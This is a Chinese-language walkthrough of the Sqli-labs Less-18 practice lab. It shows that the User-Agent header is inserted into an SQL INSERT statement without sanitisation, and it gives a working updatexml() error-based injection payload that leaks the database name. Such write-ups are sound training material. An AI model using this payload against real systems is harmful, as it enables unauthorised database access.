本关我们这里从源代码直接了解到

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);	

对uname和passwd进行了check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的,但是在代码中,我们看到了insert()

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?

Ip地址我们这里修改不是很方便,但是useragent修改较为方便,我们从useragent入手

我们利用fiddler进行抓包改包

Sqli-labs Less-18 User-Agent注入 updatexml()报错注入

 从上图可以看到,修改user-agent后的在前台显示user-agent已经为修改后的了。

那我们将user-agent修改为注入语句呢?

将user-agent修改为' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

Sqli-labs Less-18 User-Agent注入 updatexml()报错注入

 

可以看到我们已经得到了数据库库名。

其余的与上述payload类似。

 

相关文章:

  • 2022-12-23
  • 2021-10-19
  • 2021-06-20
  • 2021-12-24
  • 2021-07-28
  • 2022-01-24
  • 2022-02-25
  • 2021-08-02
猜你喜欢
  • 2022-01-14
  • 2021-09-07
  • 2021-11-24
  • 2021-08-07
  • 2021-10-01
  • 2021-11-10
  • 2022-02-26
相关资源
相似解决方案